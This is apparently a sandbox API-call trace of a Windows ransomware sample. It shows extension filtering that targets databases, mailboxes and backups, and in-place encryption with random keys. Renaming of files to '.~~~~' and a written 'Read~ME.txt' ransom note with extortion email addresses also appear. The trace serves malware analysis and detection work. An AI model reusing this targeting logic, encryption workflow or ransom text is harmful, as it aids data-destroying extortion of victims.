	[0084.279] lstrlenW (lpString=".com") returned 4
	[0084.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.280] lstrlenW (lpString=".lnk") returned 4
	[0084.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.280] lstrlenW (lpString=".msp") returned 4
	[0084.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.280] lstrlenW (lpString=".pif") returned 4
	[0084.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.280] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.280] lstrlenW (lpString=".sqb") returned 4
	[0084.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.280] lstrlenW (lpString=".ost") returned 4
	[0084.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.280] lstrlenW (lpString=".txt") returned 4
	[0084.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.280] lstrlenW (lpString=".mdt") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.281] lstrlenW (lpString=".BDB") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.281] lstrlenW (lpString=".eql") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.281] lstrlenW (lpString=".DBF") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.281] lstrlenW (lpString=".EQL") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.281] lstrlenW (lpString=".FDB") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.281] lstrlenW (lpString=".EDB") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.281] lstrlenW (lpString=".DACPAC") returned 7
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.281] lstrlenW (lpString=".VHD") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.281] lstrlenW (lpString=".DBV") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.281] lstrlenW (lpString=".dacpac") returned 7
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.281] lstrlenW (lpString=".sdf") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.281] lstrlenW (lpString=".accdb") returned 6
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.281] lstrlenW (lpString=".DBX") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.281] lstrlenW (lpString=".MDT") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.281] lstrlenW (lpString=".SQB") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.281] lstrlenW (lpString=".vhd") returned 4
	[0084.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.282] lstrlenW (lpString=".bac") returned 4
	[0084.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.282] lstrlenW (lpString=".mdf") returned 4
	[0084.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.282] lstrlenW (lpString=".BAK") returned 4
	[0084.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.282] lstrlenW (lpString=".BAC") returned 4
	[0084.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.282] lstrlenW (lpString=".dbs") returned 4
	[0084.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.282] lstrlenW (lpString=".vhdx") returned 5
	[0084.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.282] lstrlenW (lpString=".NDF") returned 4
	[0084.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.282] lstrlenW (lpString=".dat") returned 4
	[0084.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.282] lstrlenW (lpString=".DBS") returned 4
	[0084.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.282] lstrlenW (lpString=".CKP") returned 4
	[0084.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.282] lstrlenW (lpString=".edb") returned 4
	[0084.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.282] lstrlenW (lpString=".PST") returned 4
	[0084.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.283] lstrlenW (lpString=".dbf") returned 4
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.283] lstrlenW (lpString=".SQL") returned 4
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.283] lstrlenW (lpString=".pst") returned 4
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.283] lstrlenW (lpString=".dbv") returned 4
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.283] lstrlenW (lpString=".SDF") returned 4
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.283] lstrlenW (lpString=".dtxs") returned 5
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.283] lstrlenW (lpString=".db3") returned 4
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.283] lstrlenW (lpString=".OST") returned 4
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0084.283] lstrlenW (lpString=".dbx") returned 4
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.283] lstrlenW (lpString=".DB3") returned 4
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.283] lstrlenW (lpString=".DAT") returned 4
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.283] lstrlenW (lpString=".VHDX") returned 5
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.283] lstrlenW (lpString=".ndf") returned 4
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.283] lstrlenW (lpString=".DB") returned 3
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.283] lstrlenW (lpString=".sql") returned 4
	[0084.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0084.283] lstrlenW (lpString=".MYD") returned 4
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.284] lstrlenW (lpString=".DBT") returned 4
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.284] lstrlenW (lpString=".ACCDB") returned 6
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.284] lstrlenW (lpString=".fdb") returned 4
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.284] lstrlenW (lpString=".bak") returned 4
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.284] lstrlenW (lpString=".myd") returned 4
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.284] lstrlenW (lpString=".DTXS") returned 5
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.284] lstrlenW (lpString=".ckp") returned 4
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.284] lstrlenW (lpString=".dbt") returned 4
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.284] lstrlenW (lpString=".db") returned 3
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.284] lstrlenW (lpString=".TXT") returned 4
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.284] lstrlenW (lpString=".MDF") returned 4
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.284] lstrlenW (lpString=".bdb") returned 4
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.284] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.285] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0084.286] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.286] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.286] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20427588994) returned 1
	[0084.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9c127f50, dwHighDateTime=0x1d60e1e)) 
	[0084.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9768
	[0084.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9768 | out: hHeap=0x300000) returned 1
	[0084.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808678
	[0084.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808678 | out: hHeap=0x300000) returned 1
	[0084.286] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0084.287] GetLastError () returned 0x0
	[0084.287] GetLastError () returned 0x0
	[0084.287] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0084.287] GetLastError () returned 0x0
	[0084.287] GetLastError () returned 0x0
	[0084.289] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff98de, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.289] WriteFile (in: hFile=0x120, lpBuffer=0x283ffe0*, nNumberOfBytesToWrite=0x6722, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283ffe0*, lpNumberOfBytesWritten=0x26dfec0*=0x6722, lpOverlapped=0x0) returned 1
	[0084.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ffe0 | out: hHeap=0x300000) returned 1
	[0084.289] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.289] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.297] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.297] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.297] CloseHandle (hObject=0x120) returned 1
	[0084.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0084.297] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.~~~~")) returned 1
	[0084.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0084.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.298] GetLastError () returned 0x0
	[0084.298] RtlWakeConditionVariable () returned 0x365f70
	[0084.298] GetCurrentThreadId () returned 0x9cc
	[0084.298] GetCurrentThreadId () returned 0x9cc
	[0084.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808090
	[0084.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28087c8 | out: hHeap=0x300000) returned 1
	[0084.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9730 | out: hHeap=0x300000) returned 1
	[0084.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28087c8
	[0084.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.299] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.299] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.300] CloseHandle (hObject=0x120) returned 1
	[0084.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28087c8 | out: hHeap=0x300000) returned 1
	[0084.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808090 | out: hHeap=0x300000) returned 1
	[0084.300] RtlWakeConditionVariable () returned 0x365f70
	[0084.300] GetCurrentThreadId () returned 0x9cc
	[0084.300] GetCurrentThreadId () returned 0x9cc
	[0084.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0084.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f72d0 | out: hHeap=0x300000) returned 1
	[0084.300] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9998 | out: hHeap=0x300000) returned 1
	[0084.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f72d0
	[0084.300] lstrlenW (lpString=".scr") returned 4
	[0084.300] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".scr") returned 0x0
	[0084.300] lstrlenW (lpString=".cmd") returned 4
	[0084.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".cmd") returned 0x0
	[0084.301] lstrlenW (lpString=".dll") returned 4
	[0084.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".dll") returned 0x0
	[0084.301] lstrlenW (lpString=".bat") returned 4
	[0084.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".bat") returned 0x0
	[0084.301] lstrlenW (lpString=".cpl") returned 4
	[0084.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".cpl") returned 0x0
	[0084.301] lstrlenW (lpString=".sys") returned 4
	[0084.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".sys") returned 0x0
	[0084.301] lstrlenW (lpString=".msc") returned 4
	[0084.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".msc") returned 0x0
	[0084.301] lstrlenW (lpString=".com") returned 4
	[0084.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".com") returned 0x0
	[0084.301] lstrlenW (lpString=".lnk") returned 4
	[0084.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".lnk") returned 0x0
	[0084.301] lstrlenW (lpString=".msp") returned 4
	[0084.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".msp") returned 0x0
	[0084.301] lstrlenW (lpString=".pif") returned 4
	[0084.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".pif") returned 0x0
	[0084.301] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.301] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.301] lstrlenW (lpString=".sqb") returned 4
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".sqb") returned 0x0
	[0084.302] lstrlenW (lpString=".ost") returned 4
	[0084.302] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpSrch=".ost") returned 0x0
